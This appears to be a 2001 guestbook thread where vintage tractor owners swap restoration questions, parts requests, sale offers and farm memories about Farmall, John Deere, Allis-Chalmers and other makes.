terry adams wrote on Thursday, April 19, 2001 (PDT):Good to be able to see a picture of a tractor that was invented be some of my relatives. Good to be able to see a picture of a tractor one of my relatives helped invent I am a Grandson of Opal(Parr)Adams. Terry Adams Terry Adams
Börje Gustavsson wrote on Thursday, April 19, 2001 (PDT):I have a International Harvester W-14 serial number WS4667. I wonder how many trctors that was built of the W-14 modell. If anyone have a picture or information of this tractor. Please send it to me.
C.Dixon wrote on Thursday, April 19, 2001 (PDT):Come visit the Silver King and Plymouth Tractor Web Page. Photos, links to the national club, a club message board and MORE. The Unofficial "Silver Kings of Yesteryear" web site. cut & paste this into your address bar; silverkingtractors.freehomepage.com or this link may work... Silver King and Plymouth Tractors Pages
mike odo wrote on Wednesday, April 18, 2001 (PDT):I am only 22 and i have a SMD and it is the finest tractor I have ever owned. I just painted it and rebuilt the motor. It was worth every penny and tear put into it. I went drawbar to drawbar with a JD G thathas also been restored recently and won. Go farmall al the way
David wrote on Wednesday, April 18, 2001 (PDT):I think that I may know the answer to my eairleier question as to what the D and S was for on my hydraulic control valve is for. single acting or double acting cyclinder-
Aaron Ball wrote on Wednesday, April 18, 2001 (PDT):My dad has a 1954 "G" Allis-Chalmers and I am trying to find a generator for him. The one that is on it is a Delco-Remy model C10. Is it best to have the old one rebuilt or do you know of any replacement sources for this 6 volt generator? Thank you for any assistance that can be provided.
Dick Cranston wrote on Wednesday, April 18, 2001 (PDT):I would like to buy a restored Allis "B" about 1940, I live near New Bern, North Carolina. My father's first rubber tired tractor and I would like one to drive in parades
jason Schott wrote on Wednesday, April 18, 2001 (PDT):Isn't It Great to Get on a web page and just talk about your great experience's with your IH tractors.
Ron Burns c/odede wrote on Wednesday, April 18, 2001 (PDT):I have a running 1947 BF Avery Model A. It is both battery ignition and crank.I am planning on doing some work on it and paint. Would like to locate a place in which to get parts and paint. My Avery is rigged with hydralics snd belt pully for running hammermills etc. Also has belly mount. I am not sure if it is for a belly mower, cultivator or what. Any information would be greatly appreciated. Thanks
David P wrote on Tuesday, April 17, 2001 (PDT):I own a 300 utilty. Paid $750 good shape. It does not have TA. I also have a 300 farmall I paid $1,600.It has TA.Good shape. I know that my 300's are 1954's. I know alot about these tractors. So fell free to E-mail me. I will buy any Interanial tractor.
Eric Hoagland wrote on Tuesday, April 17, 2001 (PDT):I'm looking for a 1956 WD-45. Never owned one but spent many a summer day as a boy just playing on them and others at my Uncle's in middle TN., what good memories! My uncle, J.E. Clemmons had a dealership in Gladville, TN in the 50's 60's and 70's. Would like to restore one in his memory and so that I can say that the tractor is as old as I am and runs better than me. Thanks for any help.
jim garner wrote on Tuesday, April 17, 2001 (PDT):looking for a starter for an "mt" jd tractor
Betty wrote on Tuesday, April 17, 2001 (PDT):I have a Ford 9N tractor, and I'm not sure what year of make it is. I have the number - 9NI5I850 from the block, or it might be - 9N151850,I'm not sure. Can anyone help me out? I'm wanting to sell it also if anyone is interested. Thanks!
Will Sandoval wrote on Tuesday, April 17, 2001 (PDT):I have a oliver 550 the ser # 133061-519 the model # 45-0592 what year is this great little tractor ?
wallace Giggey wrote on Monday, April 16, 2001 (PDT):i have a f20 that is battle ship gray somone told me it was maid in 1928 it has steel wheels and a narrow front end with a 4 diget serail number looking to sell but got no idea how much to ask for it its all running
Joel wrote on Monday, April 16, 2001 (PDT):Did any of the John Deere B Model tractors ever have live hydraulics?
Roy Wolf wrote on Monday, April 16, 2001 (PDT):I believe that if you check with the John Deere Mfg. Co., that you'll find that the Model 50 replaced the B; the Model 60 replaced the A; and the Model 70 replaced the G!!! The farmers of the 1950's used a lot of these tractors in Bureau County northwest of Princeton, Illinois....there was a very aggressive John Deere dealer in Walnut, Illinois and I remember that era very well/rcw.
Roy Wolf wrote on Monday, April 16, 2001 (PDT):I was working for a farmer named Lincoln Schell, yes, he was born on 12 February, hence, his name....he purchased a new J.I.Case, SC,in 1944 during or right after WWII in 1945; boy, did we ever think that was the latest thing in tractor design and improvements......how thinks have changed....at that time farmers were farming 80 acres and making a good liveing!
Roy Wolf wrote on Monday, April 16, 2001 (PDT):I was working for a farmer named Lincoln Schell, yes, he was born on 12 February, hence, his name....he purchased a new J.I.Case, SC, after WWII in 1945; boy, did we ever think that was the latest thing in tractor design and improvements......how thinks have changed....at that time farmers were farming 80 acres and making a good liveing!
Roy Wolf wrote on Monday, April 16, 2001 (PDT):I drove this model AC for my brother while he was farming approximately 700 acres in Kane County, Illinois, west of Aurora. It sure was a power house and I loved every minute of it.....I was an elementary Principal at the time living near Belvidere, Illinois, where I worked summers as a field man for Green Giant...they had Oliver equipment....however, I sure enjoyed the weakends and after school hours on that new 220 my brother purchased in 1970 or 71! He also had three XT-190's...but, the 220 was a real 'landhandler'!
matt wrote on Monday, April 16, 2001 (PDT):Does any of you know how to unstick a clutch and a valve on a 37 f20. I would kindly apriciate any help. I am restoring it for a work tractor.
Bil Meismer wrote on Monday, April 16, 2001 (PDT):I just bought my dads 560 and need a set of fenders for it so I can restore it also would like to know if anyone knows how much and how much work is it to replace the TA thanks
G. Basham wrote on Monday, April 16, 2001 (PDT):Ihave 64 FSM use it all the time would like manual or share imfo. with other owners havent found better tractor for what i do .feal free to email me with any imfo.or coments
David wrote on Monday, April 16, 2001 (PDT):I have a IH 300 Utility With two hydraulic contol valves. On the end caps ther is the letter "D" and "S" stamped and a pin that will rotate from one to the other. Does this change the valve from detent to spring return or what? Also what is the HP for this tractor with TA.
kt wrote on Sunday, April 15, 2001 (PDT):mm's where half way decent tractors but if they were red they would be a whole lot better, because no mm is better than any farmall.
kt wrote on Sunday, April 15, 2001 (PDT):Get a farmall h they are a much better tractor than a jd 60 or to say any jd
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):I am not an expert on JD's but the 60 was manufactured to replace the A not the B. I think that JD should start manufacturing 2cyl's again,they would put Harley Davidson out off business.They reprduce old houses, old clothing food what ever why not start making 2 cylinder tractors. there are many people that eat sleep and drink 2 cylinder tractors that never farmed before. Why not star a new fade?I know a guy that wears geen & yellow underwear ,pickup, house and what ever . his wife said that if he buys one more 2 cyl he's out the door. That color could cause a divorce.
rebekah wrote on Sunday, April 15, 2001 (PDT):i am restoring a ferguson TEA i think 1960 and am trying to find the original colour scheme for this tractor. presently it is painted with a mid grey colour but it is imperitive i restore to orininal colour. please if you can provide a pic send to my address cheers Rebekah
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):Embarising things can happen on a 2 cyl . one day I was mowing with a JD B with a #5 mower , my brother was standind on thew back schooling me on all the bad places in the field . I started the tractor not one reveloution of the back wheel I heard him holler I turned and looked and he was standing there with no pants on just his belt, I had four inch bolts through the universals instead of what should have been there and the caught ahold of his pant cuff, nothing left off his pants he asked me to go up to the house and get him another pair. when I got up to the house there were a couple of buddies looking for him, I told them that he was sitting down behind the barn and to go down and see him. The pants were wound right around the power take off. It never happened again needless to say. Has anyone else done any stupid things with their old johnny?
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):This kid fueled up the G with a baler tied to it . the nent day they went to start the tractor. they couldn't enen get the wheels to turn by towing it with another tractor. they called a dealer who was very close to the farm and the dealer said don't try and start the the tractor we'll send up a serviceman. When the serviceman drove into the yard , they were still rying to start the tractor by towing it all of a sudden there was an explosion and the flywheel hit the ground , the gas had gone into the crankcase and dried off the pistons so that they could not move. the tractor was beyond saving. after 50 JD added a oil pressure line to a valve in the fuel bowel so that when the engine wasn't running the valve shut the fuel off and the gas couldn't get down into the crankcas , good move. I always teach my grandsons how to stop the tractor first they will always find a way to get it going. Any one else had any suprises with two cyl? I had a hand start that when it flooded , we would get out the long barbacue matches, and clean out the pistons and then put the plugs back in and off she would go.
Dave Allen wrote on Sunday, April 15, 2001 (PDT):I purchased a Cockshutt 60 Row Crop (1941) in 1999. I have been retoring it ever since. It is nearly finished. My interest in the tractor comes from growing up on a family farm in eastern Canada. P.E.I. My father has his original Cockshutt 60 (1948) which he still uses around the farm to this day! I live and work in Regina Sask Canada.
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):Subject ; Safty I have a 1950 J D B that ran away on me once, I had started it from standing on the ground. some of the gas,had run down into the crankcase while being idle. The tractor was in reverse with the clutch disengaged. as soon as the tractor started there was an explosion, in the crankcase that ingaged the clutch and the tractor took off with me after it. It blew the clutch cover 100 feet from the tractor. Luckly no one was standing behind the tractor this happened within seconds. Always have the tractor in neutral with the clutch back and the breaks locked. Before 1950 it was common for these old tractors to accumalate particles in the fuel system and hold the needle on the float up and dump the fuel into the crank case causing trouble.
Mark Lethbridge wrote on Sunday, April 15, 2001 (PDT):I purchased my MC from my uncle 2 years ago and i'm doing a complete overhaul. The rollers and pins were done by my brother inlaw, and with the help of some good friends machined all new sleeve rollers for the rollers.I have rebuilt the final drives and steering clutchs which one was not working before. I also purchased the last two drive sprokes from John Deere that they had in stock (thats what they told me). Don,t ask how much they were as I live in Canada and had to pay the dollar exchange as well. I had the hyraulic cylinders rebuild by a friend and ordered a kit for the pump from John Deere as well as parts manual. This MC has a #602 blade on it which I believe is newer then the tractor. Next the engine.
Steve Kuffa wrote on Saturday, April 14, 2001 (PDT):Just acquired a 1963 Massey 97 diesel- needs some parts such as fenders, front grill and this and that. Can anybody help? Located in PA.
Jim wrote on Saturday, April 14, 2001 (PDT):Ok so I can't subtract 51-4= 47.
C.W.(Jim) Broughton wrote on Thursday, April 12, 2001 (PDT):To; Ryan...I believe your tractor is a "Cub",1956 model..for a manual...write to Intertec,P.O.Box 12901,Overland Park,Kansas,66282-2901. This is a good manual, I rebuilt my Lo-Boy using it as a guide. If you are near or in the State of Oregon.. you can get this manual at Farmland Tractor Supply in Tangent, Or. Phone (541)928-1646 Hope this helps you....Jim
J.Leo Chartrand wrote on Thursday, April 12, 2001 (PDT):I have a 1950 Cockshutt 30,it is like a new one, I spended time and money to make look like it. it was my baby, but now, I am looking for an other toy. So it is for sale. I live in Canada, and my phone number is (450)829-3141 It is possible to get a photo of my tractor by e-mail
Monte Hodges wrote on Thursday, April 12, 2001 (PDT):I am looking for a front end loader for my Oliver 550. Anyone know where to pick one up? What after market front end loader brands fit the Oliver? Where can I get a replacement muffler for the gas engine? Thanks for the help.
Frank wrote on Wednesday, April 11, 2001 (PDT):I am looking for air cleaner pieces Top cap, spout, and bottom bowl piece. Will buy or trade for other assorted parts I have almost a hole spare parts tractor. Please send me a email.
Billy Lee wrote on Wednesday, April 11, 2001 (PDT):My wife bought a 66 Row Crop at an auction and now we need to get a few implements. If you know of any that are made for this tractor please call 877-536-9685.
Luke Petre wrote on Wednesday, April 11, 2001 (PDT):I have been looking tractor for a while now and I found a 1950 Farmall C with a new overhaul, 2 botton plow, harrow, trailer, and weights for $2,000. I think this is a good price. Is it. The only thing I don't like about it is it does not have a wide front end. I looked around and I found someone who will put one on, but I am not sure about the plow, which is in the middle of the tractor. Will the wide front end affect the plow?
Harry wrote on Wednesday, April 11, 2001 (PDT):I just bought a 1946 Case VAI. Engine's good, skins' OK. It has a front loader of unknown origin. The previous owner had the tractor for 22 years and fitted the front end loader. He thinks it was original off an old Ford but with some modification. The 'hydraulics' are powered off the rear PTO and uses 30# oil. It's got a narrow bucket - used for getting into horse stalls. I've got horses so I appreciate the amount of work this will get! The fenders were removed to fit the front end loader. It has a gravity (trip) bucket but it does what's asked of it.
Bob wrote on Wednesday, April 11, 2001 (PDT):I have a '52 H that I bought at auction. It has the U hitch with a roller tong. I need to use a back mount mower setup for a 3 point hitch. But I don't want to pay $650.00 for the conversion kit just to cut grass in the field .
Max Pierce wrote on Tuesday, April 10, 2001 (PDT):I'm looking for a loader for a WD. Will even concider a damaged or junk piece of equipment.
Matt Dickerson wrote on Tuesday, April 10, 2001 (PDT):Have a 1941 H and need to know what to use for fuel (not gas). The guy I got it from said Kerosene with oil mixed in and an oldtimer I talked to said they just used kerosene back in the day. If the oil is mixed in, what's the ratio? Thanks. Matt
Russ wrote on Tuesday, April 10, 2001 (PDT):JD O Model 60; If my math is correct John Deere only made 260 of the orchard 60 models. From John Deere Tractor Data Book Page 104 Author Lorry Dunning If you have a JD O Model 60 its got to be a keeper. 37hp and what a sound!
J.D. Christian wrote on Tuesday, April 10, 2001 (PDT):I need a sediment bowl w/gas-shutoff valve and a good picture of a completely restored pacer, asap
pat wood wrote on Tuesday, April 10, 2001 (PDT):what is the hp rating on these tractors. is replacement parts obtainable?
Joe Yonker wrote on Tuesday, April 10, 2001 (PDT):We have a gas powered wide front 2010 and need a loader for it. We are looking for what loader #'s will fit this tractor and what is the best type of loader to use with this tractor. Can anyone supply us with some information on this.
Joe Yonekr wrote on Tuesday, April 10, 2001 (PDT):We have a gas powered wide front 2010 and need a loader for it. We are looking for what loader #'s will fit this tractor and what is the best type of loader to use with this tractor. Can anyone supply us with some information on this.
Harold wrote on Monday, April 09, 2001 (PDT):Alot of the questions asked in this space could be answered in Two Cylinder Magazine of Grundy Center ,Iowa. They have a special section devoted to technical questions.
John Whiting wrote on Monday, April 09, 2001 (PDT):My grandfather, 1964 National Soil Conservation Farmer of the Year, owned a 1947 M Propane for drilling wheat and pulling a spring tooth harrow for fallow. He turned the soil with a JD R and a 16' surflex one way. Plowed with a 4-16 plow and the R. I'm sneaking up on a M Propane for myself. I loved his M and hope I can corner myself a M Propane. (tukptc.com click on Links then click on My Tractors [64 Einspahr, 57 871 Ford, 1962 460 Farmall...its a gas, my JD B hasn't made the page yet] you can tell I show no favortism but they got to earn their keep at my place)
Lindsay Schlaud wrote on Monday, April 09, 2001 (PDT):This is for Biff Barner. I have to run over to the place that I got my manifold to get the adress and phone number to send you. Please e-mail me back with your e-mail address and I'll send it to you. Thank you Lindsay.
Lindsay Schlaud wrote on Monday, April 09, 2001 (PDT):This is for Biff Barner, Who e-mailed me about the F-12 manifold. I forgot the address so I'll have to run over to the place and get the address and phone number for you. Could you E-mail me back with your E-mail address so I can give it back to you. Thank You Lindsay
Steve Parsons wrote on Monday, April 09, 2001 (PDT):I worked for an uncle in North Central Oklahoma back in the mid 70's. We had a total of 6 LA's pulling 3 bottom 14" rope trip plows. What a sight! They were all on propane. It took days to plow an 80 or a Quarter Section. Thank God for the 4020 John Deere.
Dustin Lamb wrote on Sunday, April 08, 2001 (PDT):I have a GVI on LP that I plan on restoreing. Does anybody know what color the sheet metal parts are suppost to be? MM gold or a yellow. Also I am looking for a pair of fenders for this same tractor. Please contact me.
Dustin Lamb wrote on Sunday, April 08, 2001 (PDT):I have a GVI on LP that I plan on restoreing. Does anybody know what color the seet metal parts are suppost to be? MM gold or a yellow. Also I am looking for a pair of fenders for this same tractor. Please contact me.
Oliver Haan wrote on Sunday, April 08, 2001 (PDT):Just found one of these in myback yard,so to speak.If any one knows there I can find parts ie.gaskets(especially head) please let me know.Thank you very much!
Bill Hoff wrote on Sunday, April 08, 2001 (PDT):I have a John Deere MT tractor and related attachments for sale. The tractor is either a restoration project or excellent parts tractor being complete except muffler and seat. It comes with a JD #5 sickle mower, two bottom plows, corn cultivators, and original manuals, $1800.00
BOLSON wrote on Saturday, April 07, 2001 (PDT): I just purchased a MM445. Can anyone tell me anything about the MM445's? I am pretty much in the dark on these and would like to find out all I can about them. I beleive this is about a 1955-58 model due to it has metel emblems on the hood cowling and also has a hi-lo range gearing. I also need info. on the wiring schematics for this machine if anyone can help or tell me where to get some info. Thanks to all who might can help me out and to those who read this and but could not.
christopher j izzo wrote on Saturday, April 07, 2001 (PDT):I have a 1951 8nB,with a loader .On the left sid of tractor belly there is a hole,about 1.25 in in diameter.It looke original, but had no plug or cover.Could you tell me what this hole is for?
Tim Schacht wrote on Saturday, April 07, 2001 (PDT):I am look for a 50's up MH 55 with rear pto,hyro lift,and power steering *does not have to have power steering. thanks Tim
frank wrote on Friday, April 06, 2001 (PDT):looking for pto attachment for a 1949 pony if you can help please e-mail me with details
Mike Bridwell wrote on Thursday, April 05, 2001 (PDT):Have two H's,one electric start, hydraulics and pto, the other is hand start no hydraulics or pto. The finest little tractor in the world, and I have had a bunch of tractors.
Kelly Fowler wrote on Thursday, April 05, 2001 (PDT):I have recently purchased a c farmall and as it turns out it was one of the dealer demonstraters "origionaly painted white" if any one has any info on these tractors please e-mail me Thanks...
Dale Wilder wrote on Thursday, April 05, 2001 (PDT):Yes I have a close friend here in mn who has one it's not quit as beautiful as this one but it's quit the work horse we use it to pull trees, after we've cut them down and on occassions to pull stumps out. Like I said it's a real work horse.He's interested in find for sale any tractor that's in the bracket of the like 430,530,etc. THANKS FOR THE LOOK SEE
Dale Wilder wrote on Thursday, April 05, 2001 (PDT):Yes I have a close friend here in mn who has one it's not quit as beautiful as this one but it's quit the work horse we use it to pull trees, after we've cut them down and on occassions to pull stumps out. Like I said it's a real work horse.He's interested in find for sale any tractor that's in the bracket of the like 430,530,etc. THANKS FOR THE LOOK SEE
Gerald REICKS wrote on Wednesday, April 04, 2001 (PDT):I'am looking for 720 electric start-serial#7228721. If and when I do, I'll have same tractor serial #7226670 to sell.
Lloyd Schumacher ; wrote on Wednesday, April 04, 2001 (PDT):I WOULD LIKE SEE A OLIVER 99 BUILT ABOUT 1937 TO 1941 THAT CAME ON RUBBER I SEE PICTURES OF THE LATER MODELS BUT NEVER A TRACTOR OF THAT ERA I AM LOOKING FOR A NICE PICTURE OF A TRACTOR ON RUBBER OF THAT ERA
art wrote on Wednesday, April 04, 2001 (PDT):I have a 1955 TO-35 with a two-stage clutch. I am looking for decals, emblems, original gage replacements, tach/hour meter, original steering wheel replacement, etc. Anyone with a list of equipment offered foe sale, please respond.
Randy Kuhn wrote on Tuesday, April 03, 2001 (PDT):I have recently purchased a 1941 A, FULLY RESTORED for only $1,500.00 at an Auction in Kempton, PA. It's my first tractor since moving to the area 2 month's ago(Feb.) And Wife willing, It won't be my last! I've always respected farmers for the hard lifelong work they do on a daily basis. I live on top of a 4 acre hill that overlooks a multi acre farm that was built in the mid 1800's. It is still well mantained and fully functional to this date (and hopefully for a long time to come). Like I said it's my first tractor, and I have given my neighbor (the farmer) my word that I will make myself available whenever he needs assistense. I want farming to stay in this country where it belongs instead of farming out our livelyhood to other countries! In closing, I feel that each and every farmer still in existance deserves the respect of everyone who they come in contact with whether it be face to face or through the product they produce. I would like to personally thank Mr. HARVEY MUTH (the farmer/neighbor), for all that he has shared with me up to this point and I look forward to working side-by-side with him on his farm for many years to come. Thanks HARVEY!!!!!
Cindy wrote on Tuesday, April 03, 2001 (PDT):Can anyone tell me approximately how much a 1929 Farmall Tractor weighs. My dad found one and we need to know whether our car trailer will haul it. Thanks to anyone with info.
Travis wrote on Monday, April 02, 2001 (PDT):I have a 1939 AC model B in excellent condition and I have everything I need except an original seat. If anyone has the seat that belongs to this tractor please let me know.
dan wrote on Monday, April 02, 2001 (PDT):im looking for a 1924 model d please email me if you have any info and your tractor looked great
Rich Sawyer wrote on Sunday, April 01, 2001 (PDT):Our 1948 H is almost complete. I just purchased a loader with a trip bucket. Can I convert the bucket to a hydraulic dump. I think I can use the hydraulic lever on the tractor and send it to a two spool valve? Will this work? Has anyone done this before? Please e-mail your responses. Thanks, Rich
Joe Trembley wrote on Sunday, April 01, 2001 (PDT):Just bought a 2010 JD with no serial number plate on it. Where are those again? Haven't got it home yet so I don't know what I've got. The tractor has a handy loader on it. Hope it works better than some of the comments above. Thanks.
GLENN wrote on Sunday, April 01, 2001 (PDT):i JUST PUT NEW BEARINGS IN BOTH ROD AND MAIN...THEY WERE OVERSIZED ON MAIN AND STANDARD ON OLD(REPLACED SAME AS I TOOK OUT) AFTER I PUT EVERYTHING BACK TOGETHER AND RAN FOR A WHILE LOST OIL PRESSURE..WHAT HAPPENED? (D17 1952 GAS) SOME PEOPLE SAY CRANK SHAFT..SOME THINK OIL PUMP// HELP AS TO WHAT I SHOULD DO NEXT.. REALLY LIKE THIS TRACTOR..
Josh Mcdaniel wrote on Saturday, March 31, 2001 (PST):I have a FE-35. But i dont know the year. I need a pic of a FE-35 to see what it actually looks like. Any info on the tractor would be appreciated
JAY THOMAS wrote on Saturday, March 31, 2001 (PST):I have 4 Silver king tractors all are restored. I have a 1937,1938,1946,and a 1954. The 1954 is a Clarkburge tractor. If you have any question feal free to ask.I have some part tractors too.
Bennett & Pittman Farms wrote on Saturday, March 31, 2001 (PST):We recently Bought a 1066 for light duties on our large scale crop, Hogs, Dairy and beef cattle farm. Our smallest tractor was a 986 and we decided we needed a bigger one just for small things such as PTO work and Square baling. We really like it, it sure beats the hell out of spending $65,000 for a new one with half the power of a 1066. It sure aint an STX440 quadtrac but we sure like it!
Jonathan Bear wrote on Friday, March 30, 2001 (PST): A friend has a D-17 Series 4. It has a add-on hydralic spool valves with two control levers, is this an option avialable through A/C or is some farmer doing some "shade-tree mechanicing"?. We are not sure if it works as it isn't plumbed correctly. One of the pressure ports are hooked to the return side of the spool valves. Can someone tell me the correct place to hook up the return line from the spool valves to the hydralic resevoir. I am wondering about the hydralic specifications (p.s.i. and g.p.m.). The tractor is a later model of the series 4. We have been told it is rated at 60 hp.. If the hydralics can be made opperable is it possible to run a Hesston 14 foot hydroswing hay conditioner? Appericiate any comments concerning the hydralic system.
John Panowicz wrote on Friday, March 30, 2001 (PST):If the spark plugs are in at an angle it is a power crater motor that is a WD45
John Panowicz wrote on Friday, March 30, 2001 (PST):If the spark plugs are in at an angle it is a power crater motor that is a WD45
John Panowicz wrote on Friday, March 30, 2001 (PST):I've been born and raised around allis all my life so was my dad. WE have a d12,d15,d17and we did have a d19. We also have a WD45 Deisal we did have a wd45 and we have a 1938Uc and 1938 Wf ,180,185,WE did have a 190xt
Jackie wrote on Friday, March 30, 2001 (PST):I have a 1952 Pony that I am putting up for auction at my next scheduled event sometime in May. If anyone lives near the Northern Virginia area, let me know. I'll send you a flier about the auction. The pony runs and is in nice shape.
Allen Leitherland wrote on Friday, March 30, 2001 (PST): In the early 70's my grandfather hired a friend to help him disk ground , he had a deere (4320) his friend had a 1066 . One day they were just about ready to quit for lunch and a Case dealer pulls in with a new 4wd tractor and disk . After about an hour of talk , the dealer talked them into a demonstration . My grandfather watched and was somewhat impressed , Mr. Frank (friend) was not he jumped on the 1066 and started down the field well behind the case it wasnt to long until he had passed it and started back to the other end of the field . The case had the all new Power Shift Transmission Mr Frank said " as i passed him i could see he kept bumping up gears until i was long gone and he had bogged the case down" . After that the salesman loaded the case up and said I sure would like to sale y'all this tractor but looks like you got all you need with that RED STUFF.
jsiegman wrote on Thursday, March 29, 2001 (PST):My family has a history with Allis Chalmers tractors. We currently have two D-15 and one D-14. We were wondering where on the tractor we can find the serial number so they can be registered. If anybody could help with this I would appreciate it. This is something that we would like to find out being that maybe someday we might be collectors of Allis Chalmers tractors.
Todd Frampton wrote on Thursday, March 29, 2001 (PST):About the 560 D282 engine. A few years ago I purchased a 1962 Farmall 504 with TA and D188 engine. Ran great. Brother did light farm work with it. Engine trouble. Put on trailer and hauled home. Found #1 cylinder sleeve in pieces in oil pan. Removed cyl head. #3 sleeve showed visible crack. Replaced all sleeves and pistons with sealed power units, and bent #1 rod with reconditioned one. Put back together and runs fine so far. IH dealer said common for these tractors with dry sleeves to encounter breakage. Since 504D engine is same as 560D but with 2 less cylinders, curious if anyone else has encountered this as well? Sounds as if the 560/660D has served many well.
sammy wrote on Thursday, March 29, 2001 (PST):I have a 1941 LA JohnDeere I purchased with cultivators, bottom plow and draw bar. My daughter is 14 and she loves to drive the john deere baby brother tractor and I also work our garden with the LA.
Gary T. McGhee wrote on Wednesday, March 28, 2001 (PST):I have a mid sixties D17. I need to repair the brakes and power steering leak. Where's a good place to buy the necessary parts.My address is HC 64 box 5 Star City AR 71667. I also have a fifties WD.
Bill Fickel wrote on Wednesday, March 28, 2001 (PST):I have a Model M bulldozer it good running condition many parts on this machine are like brand new .This machine is in working condition.And the whole machine except for the fuel tank and steering clutches are original. Its FOR SALE
Blake Bradley wrote on Tuesday, March 27, 2001 (PST):My greatgranddad has a tractor just like this one and we are wondering the value of it. It has most of the original parts to it.
Bob Dobrzynski wrote on Monday, March 26, 2001 (PST):I restored a Cockshutt 30 tractor and enjoyed doing it. My Grandpa had both the E-3 and the 30 he said they were good running tractors. I have a parts tractor and I have someone that what to buy one of the rear rims. How much do you think you would ask for it? It's in good shape have any idea? Thank You!!
Richard Vohs wrote on Monday, March 26, 2001 (PST):I am looking for an owners manual for a Row Crop 60. I am not sure of the manufacturer date; perhaps, I may need some help in identifying. If anyone can help, I would appreciate.
Paul H. Ross wrote on Monday, March 26, 2001 (PST): Can anyone tell me how to find the original Red color of the Leader? Also, is there any information available to determine the year model of the Tractor? Thanks, Paul
Andre wrote on Monday, March 26, 2001 (PST):I have A 1965 SUPER DEXTA it is a legand. it has done almost 8500 hours and never had a spanner near. I don't consider the dexta a vintage. they are still capable of keeping the pace with a modern tractor of the same h.p
terry wrote on Monday, March 26, 2001 (PST):I have, some where around a 1959 ,but I would like to be positive. I would like to know how to idintify the exact year. thanks
Marie C. Gibson wrote on Monday, March 26, 2001 (PST):I have a Super C Farmall Tractor in Western Pennsylvania, my late husband purchased, second hand, on March 18, 1972 from W. L. Dunn in Monroeville, Pa. I am interested in bringing it to Florida West Coast. Does anyone have an idea of what it might cost?? What would be the cheapest mode of transportation? What might it be worth today?? Thank You
Mark Finnimore wrote on Sunday, March 25, 2001 (PST):I am looking to purchase a model 80 for full restoration or even one that has already been gone over...I am located in Ontario Canada but will drive to U.S. for right tractor...these are the greatest tractor ever for easy starting and versatility.
Ron wrote on Saturday, March 24, 2001 (PST):I have a narrow front D-14 tractor with final drive extentions and a wc with after market hand clutch for live PTO,parts or tractors for sale.
Jerry Priddy wrote on Saturday, March 24, 2001 (PST):I'm a volunteer at the West Virginia State Farm Museum at Point Pleasant W. Va., and we have an SD3 which I have been putting together without the help of any manuals, I need technical info, or better, a service manual. Please contact me with any information you can about this project. Right now I need info on a front motor mount and rocker arm lubrication system. I started this project with the engine totally dissassembled and parts scattered around the shop, so I really need some help.
Rollie wrote on Saturday, March 24, 2001 (PST):Mark, The wide axle I wrote about with my B tractor is for the rear end, not the front end of the tractor, but thanks for your interest.
Rollie wrote on Saturday, March 24, 2001 (PST):Mark, The wide axel I wrote about with my B tractor is for the rear end, not the front end of the tractor, but thanks for your interest.
Linda McCormick wrote on Saturday, March 24, 2001 (PST):I am thinking of purchasing a 1956 Fordson Major which has been standing in a field for a long time. Engine cover and wheel arches are badly rusted, are replacements readily available and if so where from? Also any tips or a guide as to what I should watch out for.
Dennis Sieracki wrote on Saturday, March 24, 2001 (PST):Hi, for any information on paint color or Decals for any Oliver tractors.
James R. Kelley wrote on Saturday, March 24, 2001 (PST):Thanks to everyone who replied to my ad wanting to buy a Allis D-17. I got lucky and bought a Series IV from someone who's mother-in-law only used it to go to the mail box which was about one mile each way. However the owner said he occassionally caught her drag racing with the neighbor. Thanks again.
Rollie wrote on Saturday, March 24, 2001 (PST):About ten years ago, I bought a 1945 B Farmall with a Wood Brothers mower. The tractor has hydraulic lift and bucket seat; it also came with both narrow and wide axels. I've never used the wide one because the narrow one or the BN rear wheel setting works great for a 60" mower. The tractor runs like a top, but the mower wore out. I bought a new New Holland 47-horse tractor a while back, and when I asked the salesman if in 50 years or more the four cylinder engine in the New Holland would run as smooth as the engine in my B, his answer was that of course he couldn't tell me that. My B is like an old friend; sticks by you, no matter what. March 24, 2001
Steve Desomer wrote on Friday, March 23, 2001 (PST):I have a Field Marshall, there is no serial number plate ,can any body tell me how I can find out , perhaps by casting numbers or any other way what series this tractor is .I was told the flywheel should turn clockwise , this is not possible on this tractor ,because the starting dog won't let you do that (hand starting) .Can some body help . Thanks. Steve
Richard Trygg wrote on Friday, March 23, 2001 (PST):I own a '63 Super Dexta and just recently learned that there are front-lifters and backhoes available! Anyone has these-in any condition-for sale?
Les Powell wrote on Thursday, March 22, 2001 (PST):I have an Oliver 60 standard tractor purchased in 1948. I have the original operators manual and parts book and know my father paid $1471.80 for his first rubber tired tractor. I am looking for a complete starter to restore the tractor and would appreciate any response to help me in my search.
Harry Edwards wrote on Thursday, March 22, 2001 (PST):I wonder if someone could tell me how to identify my tractor I can't find a model or serial number on it. It might be in the fiftes it has power steering , gas engine, and four hyd. levers which I only know what on of them does . Maybe someone could tell me where to find the model or serial numbers thanks
matt wrote on Thursday, March 22, 2001 (PST):nice tractor
Todd Brown wrote on Thursday, March 22, 2001 (PST):My dad has an old cockshutt 40 gas engine. it still runs and looks decent. however we cant seem to find the serial number. If anyone knows where it is located could you please let me know so we can find it and find out more about the tractor. Thank You.
Wayne wrote on Thursday, March 22, 2001 (PST):Never mind Phil, after reading further on some other entries I realized that the "Lift All" is the same thing as the "exhaust lift"/ "vacuum" (which really doesn't work off a vacuum). STILL, SURE WISH SOMEBODY MADE AN AFTER MARKET HYDRAULIC LIFT FOR THESE OLD Bs. SURE WOULD MAKE THE TRACTOR MUCH MORE VERSATIL. Thanks Wayne
T-Bone wrote on Thursday, March 22, 2001 (PST):I still have the ol'1066 I purchased new in '76.Last fall I was pulling the ripper(7 shank)and wasn't working her too hard at 5mph.Took her to the shop for the dyno and she sat in at 220!(The seal was still on the pump).I just love it when I chew up those 8210's for 20% of the price!Had a neighbor blow up a 4840 trying to stay with me.Yes,I am bragging,but like Bob Feller said,"If you can do it,it ain't bragging".The M,806,1066,and 5488 are the only REAL tractors ever built!
